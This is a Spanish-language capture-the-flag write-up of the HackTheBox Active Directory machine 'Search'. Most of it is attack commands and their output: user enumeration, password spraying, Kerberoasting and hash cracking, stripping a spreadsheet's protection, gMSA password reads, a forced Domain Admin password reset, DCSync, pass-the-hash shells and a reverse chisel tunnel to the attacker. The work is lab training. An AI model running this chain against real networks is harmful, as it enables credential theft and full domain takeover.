xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackTheBox

Search



Enumeración


Iniciamos la máquina escaneando los puertos de la máquina con nmap donde encontramos varios puertos abiertos, entre ellos el 80 que corre un servicio http

❯ nmap 10.10.11.129
Nmap scan report for 10.10.11.129  
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
443/tcp   open  https
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
8172/tcp  open  unknown
9389/tcp  open  adws
49667/tcp open  unknown
49691/tcp open  unknown
49692/tcp open  unknown
49714/tcp open  unknown
49726/tcp open  unknown

Con crackmapexec podemos obtener información de la maquina asi como el dominio que es search.htb ademas del nombre que parece es research

❯ crackmapexec smb 10.10.11.129
SMB         10.10.11.129    445    RESEARCH         [*] Windows 10.0 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)  

Para posibles proximos ataques o solo por comodidad agregaremos el dominio al /etc/hosts ademas el nombre de la máquina que es el DC como otro dominio

❯ echo "10.10.11.129 search.htb research.search.htb" | sudo tee -a /etc/hosts  

En la página principal encontramos una web que no nos aporta demasiado

Fuzzeando un poco algunas rutas de posibles directorios con wfuzz no vemos nada realmente interesante mas que un /staff que devuelve un codigo de estado 403

❯ wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt -u https://search.htb/FUZZ --hc 404 -t 100  
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: https://search.htb/FUZZ
Total requests: 26584

=====================================================================
ID           Response   Lines    Word       Chars       Payload
=====================================================================

000000002:   301        1 L      10 W       149 Ch      "images"
000000009:   301        1 L      10 W       145 Ch      "js"
000000015:   301        1 L      10 W       146 Ch      "css"
000000267:   301        1 L      10 W       148 Ch      "fonts"
000000352:   403        29 L     92 W       1233 Ch     "staff"

Bajando un poco en la pagina principal encontramos un apartado que muestra mediante un slide diferentes imagenes y textos, algunos sobre Lorem Ipsum


Access - hope.sharp


Mirando a fondo una de las imagenes podemos encontrar un tipo de nota donde se nos muestra una posible contraseña valida para el usuario Hope.Sharp

Antes necesitamos saber el nombre del usuario Hope Sharp, asi que creamos un pequeño diccionario con los posibles nombres de usuario que podrian existir

❯ cat users.txt  
Hope
Sharp
HSharp
HopeSharp
H.Sharp
Hope.S
Hope.Sharp

Podemos usar kerbrute para validar los usuarios en el archivo users.txt, en este caso el usuario valido es Hope.Sharp por lo que la sintaxis correcta es Name.Surname

❯ kerbrute userenum -d search.htb --dc research.search.htb users.txt  
    __             __               __
   / /_____  _____/ /_  _______  __/ /____
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

>  Using KDC(s):
>       research.search.htb:88

>  [+] VALID USERNAME:   Hope.Sharp@search.htb
>  Done! Tested 7 usernames (1 valid) in 0.171 seconds

Ahora que sabemos el usuario podemos probar la contraseña, esta es valida, listando los recursos compartidos llama la atención el recurso RedirectedFolders$

❯ crackmapexec smb search.htb -u Hope.Sharp -p 'IsolationIsKey?'
SMB         search.htb      445    RESEARCH         [*] Windows 10.0 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)  
SMB         search.htb      445    RESEARCH         [+] search.htb\Hope.Sharp:IsolationIsKey?

❯ crackmapexec smb search.htb -u Hope.Sharp -p 'IsolationIsKey?' --shares
SMB         search.htb      445    RESEARCH         [*] Windows 10.0 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)  
SMB         search.htb      445    RESEARCH         [+] search.htb\Hope.Sharp:IsolationIsKey?
SMB         search.htb      445    RESEARCH         [+] Enumerated shares
SMB         search.htb      445    RESEARCH         Share           Permissions     Remark
SMB         search.htb      445    RESEARCH         -----           -----------     ------
SMB         search.htb      445    RESEARCH         ADMIN$                          Remote Admin
SMB         search.htb      445    RESEARCH         C$                              Default share
SMB         search.htb      445    RESEARCH         CertEnroll      READ            Active Directory Certificate Services share
SMB         search.htb      445    RESEARCH         helpdesk
SMB         search.htb      445    RESEARCH         IPC$            READ            Remote IPC
SMB         search.htb      445    RESEARCH         NETLOGON        READ            Logon server share
SMB         search.htb      445    RESEARCH         RedirectedFolders$ READ,WRITE
SMB         search.htb      445    RESEARCH         SYSVOL          READ            Logon server share

Al conectarnos al recurso con smbclient utilizando las credenciales de Hope.Sharp podemos ver varios directorios los cuales son diferentes nombres de usuarios

❯ impacket-smbclient search.htb/Hope.Sharp:'IsolationIsKey?'@research.search.htb  
Impacket v0.11.0 - Copyright 2023 Fortra

Type help for list of commands
# use RedirectedFolders$
# ls
drw-rw-rw-          0  Tue Jun 27 22:02:32 2023 .
drw-rw-rw-          0  Tue Jun 27 22:02:32 2023 ..
drw-rw-rw-          0  Tue Apr  7 14:12:58 2020 abril.suarez
drw-rw-rw-          0  Fri Jul 31 09:11:32 2020 Angie.Duffy
drw-rw-rw-          0  Fri Jul 31 08:35:32 2020 Antony.Russo
drw-rw-rw-          0  Tue Apr  7 14:32:31 2020 belen.compton
drw-rw-rw-          0  Fri Jul 31 08:37:36 2020 Cameron.Melendez
drw-rw-rw-          0  Tue Apr  7 14:15:09 2020 chanel.bell
drw-rw-rw-          0  Fri Jul 31 09:09:07 2020 Claudia.Pugh
drw-rw-rw-          0  Fri Jul 31 08:02:04 2020 Cortez.Hickman
drw-rw-rw-          0  Tue Apr  7 14:20:08 2020 dax.santiago
drw-rw-rw-          0  Fri Jul 31 07:55:34 2020 Eddie.Stevens
drw-rw-rw-          0  Thu Apr  9 16:04:11 2020 edgar.jacobs
drw-rw-rw-          0  Fri Jul 31 08:39:50 2020 Edith.Walls
drw-rw-rw-          0  Tue Apr  7 14:23:13 2020 eve.galvan
drw-rw-rw-          0  Tue Apr  7 14:29:22 2020 frederick.cuevas
drw-rw-rw-          0  Thu Apr  9 10:34:41 2020 hope.sharp
drw-rw-rw-          0  Tue Apr  7 14:07:00 2020 jayla.roberts
drw-rw-rw-          0  Fri Jul 31 09:01:06 2020 Jordan.Gregory
drw-rw-rw-          0  Thu Apr  9 16:11:39 2020 payton.harmon
drw-rw-rw-          0  Fri Jul 31 07:44:32 2020 Reginald.Morton
drw-rw-rw-          0  Tue Apr  7 14:10:25 2020 santino.benjamin
drw-rw-rw-          0  Fri Jul 31 08:21:42 2020 Savanah.Velazquez
drw-rw-rw-          0  Wed Nov 17 20:01:45 2021 sierra.frye
drw-rw-rw-          0  Thu Apr  9 16:14:26 2020 trace.ryan
#


Access - web_svc


Para poder continuar enumeraremos con bloodhound toda la posible información sobre el dominio autenticandonos como Hope.Sharp, esto nos creara un zip con ella

❯ bloodhound-python -u Hope.Sharp -p 'IsolationIsKey?' -c All -d search.htb -dc search.htb -ns 10.10.11.129 --zip  
INFO: Found AD domain: search.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: search.htb
INFO: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 113 computers
INFO: Connecting to LDAP server: search.htb
INFO: Kerberos auth to LDAP failed, trying NTLM
INFO: Found 107 users
INFO: Found 64 groups
INFO: Found 6 gpos
INFO: Found 27 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: Research.search.htb
INFO: Done in 01M 10S
INFO: Compressing output into 20230627221401_bloodhound.zip

Despues de subir el zip que nos crea bloodhound y listar los usuarios kerberoasteables nos encontramos con web_svc ademas del tipico krbtgt

Tenemos credenciales validas asi que con GetUserSPNs podemos explotarlo y obtener un hash correspondiente al servicio que corre el usuario web_svc

❯ impacket-GetUserSPNs search.htb/Hope.Sharp:'IsolationIsKey?' -request
Impacket v0.11.0 - Copyright 2023 Fortra

ServicePrincipalName               Name     MemberOf  PasswordLastSet             LastLogon  Delegation 
---------------------------------  -------  --------  --------------------------  ---------  ----------
RESEARCH/web_svc.search.htb:60001  web_svc            2020-04-09 08:59:11.329031  <never>               

$krb5tgs$23$*web_svc$SEARCH.HTB$search.htb/web_svc*$cb8ef41e8071dd39f7d60ede0558eead$48cd26531a1f8fd5607272392160704993b52f428e75dd3a84f8df1a0e687b15214fadaa499628729ca02d6132bb37b05e37a5ffc0e77a34630afa25f2e8bfc74793c3ef93c2de79efb0d4e1fa003f6c7a47e3e18a6f52a93db7039c2fde7abc5db0fe2c69b65d1c93edbe4a52d8b2d799cac404d2e45fd319cf342f223b8f54f794fdd4b632bc39c695f9fceeb4166a1dc2f0b92bdd1e0a064951c729bab161a131af44389707622a3a126e2030c7f7bade0b97cea78012fd081d5a9ee3e25da65130612c94b2e1f96c7cccded7ba4dee2ae3236cdb47b905d68bf308deeaf20172458413637c3871ba03c006db3c36288cdde0156293bc48089b38febae9ef50f9b7713651501de5f4857b7b1a1cc88fdae0ae59f597572d033659ccc449fcf3ec087a4b1cb8e761a1f2db7a28d18ecaf8306c97be1ae9bd8b980790509bc127348ac8d97257d591085aae599f90294b0a93669493a99dcf35512d02dcd43d983116c27311496910e7d973852d8c4221ff8770321a224536528042754bf3732746c0c45eaf81d2ff8130fc58a2ee8e742ba23e1363a2979d35e111b6d23763c57243eda85aaa5f8c80e5d93395eff67dfc6d173563eaae8d2aa696e095c7d94b03aea071047feafcd649fe95d5e6aaf25ef6f2cc46f40cd4b60e23b180c8419ac9ca5df45e37ba1128d897e0c7cba4bca826f234809bd8f4ce0bddd3fd645cc3204cb42b98e9a71ea9a945354e2282d85ca9598e26c0bcc18d36a6724201ed9da04638c5cac0a9f5b6da3916bd5e727ad9a66d5a3adf56d9eab6db9f2db8db17e5df8606482db65b4a9cc793960eb8fd30baf9b145ecde4fad6eaebe524305bae36e52aa1c695ac38693a77db4e0f92f7a89330e0be4592e9f722f41f38770e03f7a61a014c14b5ed15bc54e350808ddb7133ec2fcd29178de8d42adbc29310a27e1c93a967754f67e928d85997dc64e2410bffea4e95725117a9d49d10a959b7261e2f046ef20dc76cadc321789e29e8b5c6c0791accfeef6e7c1f3ff869ac2836c3b96f7bdb73acc84d90ff406630d6520d326267f372b584abc3ed8daaea17ed4f227f73225ce387cd37c2ade4550b53fb8b661da511f1ea18572a600435dfca6ae73752163e0bac5ef1f1cf462e7272dd3ab17ae3236655d1d25c0edb88e1a20a30987aa5ca949f07a7148080da9f82486a6c9b790aa03e21ccb459a849086fc28506817e3f567d28f23374c605b674c9bd58e689052c12c5694c51671e880ec853a78f2988f0e7f61387aa95d3a85564890e46a0d3d821cf89615c349a89665d6aa8438a47d623693b0b69acb14b80e9a1e710b08ac1e807cc03df5d183ed88d3d5d909e9ce54e3e398bedee0ed9e437b60b66a2bd05f6764ac3e908665fdf1940ce819658ac18e0991d75898bfce3de217e1f6e7191005c00089971248e9f18359e0a099e9c25163e868110b635e4818b3  

Al pasarle el hash a john podemos crackearlo y obtener la contraseña de web_svc

❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Press 'q' or Ctrl-C to abort, almost any other key for status
@3ONEmillionbaby (?)
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Podemos comprobarla con crackmapexec pero esta credencial realmente no nos aporta nuevos privilegios o archivos en los recursos smb compartidos

❯ crackmapexec smb search.htb -u web_svc -p @3ONEmillionbaby
SMB         search.htb      445    RESEARCH         [*] Windows 10.0 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)  
SMB         search.htb      445    RESEARCH         [+] search.htb\web_svc:@3ONEmillionbaby


Access - edgar.jacobs


Para crear un diccionario de todos los usuarios del dominio podemos obtenerlos mediante rpc y con expresiones regulares obtener obtener una lista, en total 105

❯ rpcclient -U 'web_svc%@3ONEmillionbaby' search.htb -c enumdomusers | grep -oP '\[\D*?\]' | tr -d '[]' > users.txt  

❯ wc -l users.txt
105 users.txt

Con kerbrute podemos probar autenticaciones para todos ellos reutilizando la contraseña del usuario web_svc, el usuario Edgar.Jacobs reutiliza la contraseña

❯ kerbrute passwordspray -d search.htb --dc research.search.htb users.txt @3ONEmillionbaby  
    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/

>  Using KDC(s):
>  	research.search.htb:88

>  [+] VALID LOGIN:	 Edgar.Jacobs@search.htb:@3ONEmillionbaby
>  [+] VALID LOGIN:	 web_svc@search.htb:@3ONEmillionbaby
>  Done! Tested 105 logins (2 successes) in 2.310 seconds

Comprobamos con crackmapexec y tenemos los mismos privilegios en los recursos SMB, podriamos probar si ahora hay algo interesante en RedirectedFolders$

❯ crackmapexec smb search.htb -u Edgar.Jacobs -p @3ONEmillionbaby
SMB         search.htb      445    RESEARCH         [*] Windows 10.0 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)  
SMB         search.htb      445    RESEARCH         [+] search.htb\Edgar.Jacobs:@3ONEmillionbaby

❯ crackmapexec smb search.htb -u Edgar.Jacobs -p @3ONEmillionbaby --shares
SMB         search.htb      445    RESEARCH         [*] Windows 10.0 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)  
SMB         search.htb      445    RESEARCH         [+] search.htb\Edgar.Jacobs:@3ONEmillionbaby 
SMB         search.htb      445    RESEARCH         [+] Enumerated shares
SMB         search.htb      445    RESEARCH         Share           Permissions     Remark
SMB         search.htb      445    RESEARCH         -----           -----------     ------
SMB         search.htb      445    RESEARCH         ADMIN$                          Remote Admin
SMB         search.htb      445    RESEARCH         C$                              Default share
SMB         search.htb      445    RESEARCH         CertEnroll      READ            Active Directory Certificate Services share
SMB         search.htb      445    RESEARCH         helpdesk        READ            
SMB         search.htb      445    RESEARCH         IPC$            READ            Remote IPC
SMB         search.htb      445    RESEARCH         NETLOGON        READ            Logon server share 
SMB         search.htb      445    RESEARCH         RedirectedFolders$ READ,WRITE      
SMB         search.htb      445    RESEARCH         SYSVOL          READ            Logon server share


Access - sierra.frye


Nos conectamos y en el directorio Desktop del usuario Edgar.Jacobs encontramos un archivo de extensión xlsx que por el nombre parece ser de intentos de phishing

❯ impacket-smbclient search.htb/Edgar.Jacobs:@3ONEmillionbaby@research.search.htb  
Impacket v0.11.0 - Copyright 2023 Fortra

Type help for list of commands
# use RedirectedFolders$
# cd Edgar.Jacobs
# ls
drw-rw-rw-          0  Thu Apr  9 16:04:11 2020 .
drw-rw-rw-          0  Thu Apr  9 16:04:11 2020 ..
drw-rw-rw-          0  Mon Aug 10 06:02:16 2020 Desktop
drw-rw-rw-          0  Mon Aug 10 06:02:17 2020 Documents
drw-rw-rw-          0  Mon Aug 10 06:02:17 2020 Downloads
# cd Desktop
# ls
drw-rw-rw-          0  Mon Aug 10 06:02:16 2020 .
drw-rw-rw-          0  Mon Aug 10 06:02:16 2020 ..
drw-rw-rw-          0  Thu Apr  9 16:05:29 2020 $RECYCLE.BIN
-rw-rw-rw-        282  Mon Aug 10 06:02:16 2020 desktop.ini
-rw-rw-rw-       1450  Thu Apr  9 16:05:03 2020 Microsoft Edge.lnk
-rw-rw-rw-      23130  Mon Aug 10 06:30:05 2020 Phishing_Attempt.xlsx
# get Phishing_Attempt.xlsx
#

Al abrir el archivo xlsx con LibreOffice podemos ver algunos nombres de usuarios, sin embargo no podemos ver la columna C y abajo nos dice que esta protegido

La protección usada en este caso es facil de bypassear, iniciamos unzipeando el archivo xlsx para asi tener acceso a todos los archivos de configuración en xml

❯ unzip Phishing_Attempt.xlsx
Archive:  Phishing_Attempt.xlsx
  inflating: [Content_Types].xml  
  inflating: _rels/.rels        
  inflating: xl/workbook.xml    
  inflating: xl/_rels/workbook.xml.rels  
  inflating: xl/worksheets/sheet1.xml  
  inflating: xl/worksheets/sheet2.xml  
  inflating: xl/theme/theme1.xml  
  inflating: xl/styles.xml      
  inflating: xl/sharedStrings.xml  
  inflating: xl/drawings/drawing1.xml  
  inflating: xl/charts/chart1.xml  
  inflating: xl/charts/style1.xml  
  inflating: xl/charts/colors1.xml  
  inflating: xl/worksheets/_rels/sheet1.xml.rels  
  inflating: xl/worksheets/_rels/sheet2.xml.rels  
  inflating: xl/drawings/_rels/drawing1.xml.rels  
  inflating: xl/charts/_rels/chart1.xml.rels  
  inflating: xl/printerSettings/printerSettings1.bin  
  inflating: xl/printerSettings/printerSettings2.bin  
  inflating: xl/calcChain.xml   
  inflating: docProps/core.xml  
  inflating: docProps/app.xml

En el archivo xl/worksheets/sheet1.xml encontramos la configuraciónd de la protección, para quitarla basta con eliminar la etiqueta sheetProtection del xml

<sheetProtection algorithmName="SHA-512" hashValue="hFq32ZstMEekuneGzHEfxeBZh3hnmO9nvv8qVHV8Ux+t+39/22E3pfr8aSuXISfrRV9UVfNEzidgv+Uvf8C5Tg==" saltValue="U9oZfaVCkz5jWdhs9AA8nA==" spinCount="100000" sheet="1" objects="1" scenarios="1"/>

Volvermos a comprimir los archivos en un nuevo archivo con extensión xlsx

❯ zip new.xlsx -r *    
  adding: [Content_Types].xml (deflated 79%)
  adding: docProps/ (stored 0%)
  adding: docProps/app.xml (deflated 52%)
  adding: docProps/core.xml (deflated 47%)
  adding: _rels/ (stored 0%)
  adding: _rels/.rels (deflated 60%)
  adding: xl/ (stored 0%)
  adding: xl/theme/ (stored 0%)
  adding: xl/theme/theme1.xml (deflated 80%)
  adding: xl/calcChain.xml (deflated 55%)
  adding: xl/worksheets/ (stored 0%)
  adding: xl/worksheets/_rels/ (stored 0%)
  adding: xl/worksheets/_rels/sheet1.xml.rels (deflated 55%)
  adding: xl/worksheets/_rels/sheet2.xml.rels (deflated 42%)
  adding: xl/worksheets/sheet1.xml (deflated 79%)
  adding: xl/worksheets/sheet2.xml (deflated 73%)
  adding: xl/styles.xml (deflated 89%)
  adding: xl/_rels/ (stored 0%)
  adding: xl/_rels/workbook.xml.rels (deflated 74%)
  adding: xl/printerSettings/ (stored 0%)
  adding: xl/printerSettings/printerSettings2.bin (deflated 67%)  
  adding: xl/printerSettings/printerSettings1.bin (deflated 67%)  
  adding: xl/drawings/ (stored 0%)
  adding: xl/drawings/_rels/ (stored 0%)
  adding: xl/drawings/_rels/drawing1.xml.rels (deflated 39%)
  adding: xl/drawings/drawing1.xml (deflated 58%)
  adding: xl/charts/ (stored 0%)
  adding: xl/charts/colors1.xml (deflated 73%)
  adding: xl/charts/chart1.xml (deflated 77%)
  adding: xl/charts/_rels/ (stored 0%)
  adding: xl/charts/_rels/chart1.xml.rels (deflated 49%)
  adding: xl/charts/style1.xml (deflated 90%)
  adding: xl/sharedStrings.xml (deflated 55%)
  adding: xl/workbook.xml (deflated 60%)

Al abrir el nuevo xlsx ahora tenemos acceso a la columna C la cual contiene la contraseña, tenemos una columna de usuarios y una de posibles contraseñas

Creamos un archivo txt de ambas columnas y al probar las credenciales de cada linea conseguimos una autenticación valida, y esta es la del usuario Sierra.Frye

❯ crackmapexec smb search.htb -u users.txt -p passwords.txt --no-bruteforce --continue-on-success
SMB         search.htb      445    RESEARCH         [*] Windows 10.0 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)  
SMB         search.htb      445    RESEARCH         [-] search.htb\Payton.Harmon:;;36!cried!INDIA!year!50;; STATUS_LOGON_FAILURE 
SMB         search.htb      445    RESEARCH         [-] search.htb\Cortez.Hickman:..10-time-TALK-proud-66.. STATUS_LOGON_FAILURE 
SMB         search.htb      445    RESEARCH         [-] search.htb\Bobby.Wolf:??47^before^WORLD^surprise^91?? STATUS_LOGON_FAILURE 
SMB         search.htb      445    RESEARCH         [-] search.htb\Margaret.Robinson://51+mountain+DEAR+noise+83// STATUS_LOGON_FAILURE 
SMB         search.htb      445    RESEARCH         [-] search.htb\Scarlett.Parks:++47|building|WARSAW|gave|60++ STATUS_LOGON_FAILURE 
SMB         search.htb      445    RESEARCH         [-] search.htb\Eliezer.Jordan:!!05_goes_SEVEN_offer_83!! STATUS_LOGON_FAILURE 
SMB         search.htb      445    RESEARCH         [-] search.htb\Hunter.Kirby:~~27%when%VILLAGE%full%00~~ STATUS_LOGON_FAILURE 
SMB         search.htb      445    RESEARCH         [+] search.htb\Sierra.Frye:$$49=wide=STRAIGHT=jordan=28$$18 
SMB         search.htb      445    RESEARCH         [-] search.htb\Annabelle.Wells:==95~pass~QUIET~austria~77== STATUS_LOGON_FAILURE 
SMB         search.htb      445    RESEARCH         [-] search.htb\Eve.Galvan://61!banker!FANCY!measure!25// STATUS_LOGON_FAILURE 
SMB         search.htb      445    RESEARCH         [-] search.htb\Jeramiah.Fritz:??40:student:MAYOR:been:66?? STATUS_LOGON_FAILURE 
SMB         search.htb      445    RESEARCH         [-] search.htb\Abby.Gonzalez:&&75:major:RADIO:state:93&& STATUS_LOGON_FAILURE 
SMB         search.htb      445    RESEARCH         [-] search.htb\Joy.Costa:**30*venus*BALL*office*42** STATUS_LOGON_FAILURE 
SMB         search.htb      445    RESEARCH         [-] search.htb\Vincent.Sutton:**24&moment&BRAZIL&members&66** STATUS_LOGON_FAILURE


Shell - sierra.frye


Al conectarnos al recurso RedirectedFolders$ como Sierra.Frye en su carpeta home vemos el archivo user.txt que es la primera flag que podemos descargar

❯ impacket-smbclient search.htb/Sierra.Frye:'$$49=wide=STRAIGHT=jordan=28$$18'@research.search.htb  
Impacket v0.11.0 - Copyright 2023 Fortra

Type help for list of commands
# use RedirectedFolders$
# cd Sierra.Frye
# ls
drw-rw-rw-          0  Wed Nov 17 20:01:45 2021 .
drw-rw-rw-          0  Wed Nov 17 20:01:45 2021 ..
drw-rw-rw-          0  Wed Nov 17 20:08:17 2021 Desktop
drw-rw-rw-          0  Fri Jul 31 10:42:19 2020 Documents
drw-rw-rw-          0  Fri Jul 31 10:45:36 2020 Downloads
-rw-rw-rw-         33  Wed Nov 17 20:01:45 2021 user.txt
# get user.txt
# exit

❯ cat user.txt
7f5**************************401

Además de la flag en el directorio Backups nos encontramos con certificados

# cd Downloads
# ls
drw-rw-rw-          0  Fri Jul 31 10:45:36 2020 .
drw-rw-rw-          0  Fri Jul 31 10:45:36 2020 ..
drw-rw-rw-          0  Thu Jul 30 13:25:57 2020 $RECYCLE.BIN
drw-rw-rw-          0  Mon Aug 10 16:39:17 2020 Backups
-rw-rw-rw-        282  Fri Jul 31 10:42:18 2020 desktop.ini
# cd Backups
# ls
drw-rw-rw-          0  Mon Aug 10 16:39:17 2020 .
drw-rw-rw-          0  Mon Aug 10 16:39:17 2020 ..
-rw-rw-rw-       2643  Fri Jul 31 11:04:11 2020 search-RESEARCH-CA.p12  
-rw-rw-rw-       4326  Mon Aug 10 16:39:17 2020 staff.pfx
# mget *
[*] Downloading search-RESEARCH-CA.p12
[*] Downloading staff.pfx
#

Sin embargo estos estan protegidos con contraseña, para conseguirla primero podemos generar un hash para cada uno de ellos usando la herramienta pfx2john

❯ pfx2john search-RESEARCH-CA.p12 > hashes  
❯ pfx2john staff.pfx >> hashes

Al crackear los hashes conseguimos la contraseña misspissy para ambos archivos

❯ john -w:/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt hashes
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 128/128 XOP 4x2])  
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
misspissy        (search-RESEARCH-CA.p12)
misspissy        (staff.pfx)
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Podemos importar los certificados a Chrome o Firefox donde nos pedira la contraseña con la que estan protegidos, que ya sabemos es misspissy

Esto nos permitirá acceder al recurso /staff por https que de antes nos devolvia un codigo 403 Forbidden, al acceder a el nos preguntara que certificado usar

El directorio /staff es un Windows Powershell Web Access el cual nos permite autenticarnos con credenciales a un ordenador y obtener una powershell

Tenemos las credenciales de Sierra.Frye a nivel de dominio y sabemos que el nombre del DC es Research, asi que con esta información nos podemos autenticar

Al autenticarnos obtenemos una powershell como el usuario Sierra.Frye


Shell - Administrator


Volviendo a bloodhound vemos que Sierra.Frye gracias a sus grupos tiene el privilegio ReadGMSAPassword sobre BIR-ADFS-GMSA$ que tiene privilegios GenericAll sobre el usuario Tristan.Davies que esta en el grupo Domain Admins

Para explotarlo como Sierra.Frye obtenemos la contraseña de BIR-ADFS-GMSA$ utilizando la propiedad msDS-ManagedPassword y definimos su credencial

PS C:\Users\Sierra.Frye\Documents> $GMSA = (Get-ADServiceAccount -Identity 'BIR-ADFS-GMSA' -Properties 'msDS-ManagedPassword').'msDS-ManagedPassword'  
PS C:\Users\Sierra.Frye\Documents> $SecPassword = (ConvertFrom-ADManagedPasswordBlob $GMSA).SecureCurrentPassword
PS C:\Users\Sierra.Frye\Documents> $Cred = New-Object System.Management.Automation.PSCredential BIR-ADFS-GMSA, $SecPassword
PS C:\Users\Sierra.Frye\Documents>

Utilizando esta credencial de powershell podemos ejecutar comandos como el usuario BIR-ADFS-GMSA$ en la máquina Research que es el controlador de dominio

PS C:\Users\Sierra.Frye\Documents> Invoke-Command -ComputerName Research -Credential $Cred -Command { whoami }  
search\bir-adfs-gmsa$
PS C:\Users\Sierra.Frye\Documents>

Ya que este usuario tiene privilegios GenericAll sobre el usuario Tristan.Davies podemos simplemente cambiar su contraseña usando el comando net

PS C:\Users\Sierra.Frye\Documents> Invoke-Command -ComputerName Research -Credential $Cred -Command { net user Tristan.Davies password123# }  
The command completed successfully.

PS C:\Users\Sierra.Frye\Documents>

Comprobamos los cambios con crackmapexec y es valida, ya que es parte del grupo Domain Admins nos devuelve Pwn3d! que nos indica que tiene privilegios maximos

❯ crackmapexec smb search.htb -u Tristan.Davies -p password123#
SMB         search.htb      445    RESEARCH         [*] Windows 10.0 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)  
SMB         search.htb      445    RESEARCH         [+] search.htb\Tristan.Davies:password123# (Pwn3d!)

Ahora mediante un DCSync dumpearemos el ntds.dit y nos interesa de manera especifica el hash NT del usuario Administrator para hacer un passthehash

❯ crackmapexec smb search.htb -u Tristan.Davies -p password123# --ntds drsuapi --user Administrator  
SMB         search.htb      445    RESEARCH         [*] Windows 10.0 Build 17763 x64 (name:RESEARCH) (domain:search.htb) (signing:True) (SMBv1:False)  
SMB         search.htb      445    RESEARCH         [+] search.htb\Tristan.Davies:password123# (Pwn3d!)
SMB         search.htb      445    RESEARCH         [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         search.htb      445    RESEARCH         Administrator:500:aad3b435b51404eeaad3b435b51404ee:5e3c0abbe0b4163c5612afe25c69ced6:::

Ahora utilizando psexec o wmiexec para poder obtener una powershell podemos autenticarnos utilizando el hash y poder ejecutar comandos como Administrator

❯ impacket-wmiexec search.htb/Administrator@research.search.htb -hashes :5e3c0abbe0b4163c5612afe25c69ced6 -shell-type powershell  
Impacket v0.11.0 - Copyright 2023 Fortra

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
PS C:\> whoami
search\administrator

PS C:\> type C:\Users\Administrator\Desktop\root.txt
070a4fc417f6463e27d90f8216538441

PS C:\>

El servicio de winrm no esta disponible desde fuera sin embargo ahora podemos crear un proxy con chisel y asi poder tener acceso a todos los puertos internos

PS C:\> .\chisel client 10.10.14.10:9999 R:socks  

❯ chisel server --reverse --port 9999
server: Reverse tunnelling enabled
server: Listening on http://0.0.0.0:9999
server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening  

Finalmente con proxychains validamos que tengamos conexion por winrm y nos conectamos como Administrator con el hash a la máquina utilizando evil-winrm

❯ proxychains -q crackmapexec winrm search.htb -u Administrator -H 5e3c0abbe0b4163c5612afe25c69ced6
SMB         search.htb      5985   RESEARCH         [*] Windows 10.0 Build 17763 (name:RESEARCH) (domain:search.htb)
HTTP        search.htb      5985   RESEARCH         [*] http://search.htb:5985/wsman
WINRM       search.htb      5985   RESEARCH         [+] search.htb\Administrator:5e3c0abbe0b4163c5612afe25c69ced6 (Pwn3d!)  

❯ proxychains -q evil-winrm -i search.htb -u Administrator -H 5e3c0abbe0b4163c5612afe25c69ced6  
PS C:\Users\Administrator\Documents> whoami
search\administrator
PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
070a4fc417f6463e27d90f8216538441
PS C:\Users\Administrator\Documents>


Extra - Administrator


Como alternativa para no tener que obtener la powershell desde la web podemos dumpear directamente el hash NT de BIR-ADFS-GMSA$ con gMSADumper.py

❯ python3 gMSADumper.py -u Sierra.Frye -p '$$49=wide=STRAIGHT=jordan=28$$18' -d search.htb -l search.htb  
Users or groups who can read password for BIR-ADFS-GMSA$:
 > ITSec
BIR-ADFS-GMSA$:::e1e9fd9e46d0d747e1595167eedcec0f
BIR-ADFS-GMSA$:aes256-cts-hmac-sha1-96:06e03fa99d7a99ee1e58d795dccc7065a08fe7629441e57ce463be2bc51acf38
BIR-ADFS-GMSA$:aes128-cts-hmac-sha1-96:dc4a4346f54c0df29313ff8a21151a42

Validamos el hash NT con crackmapexec y nos devuelve que este es valido

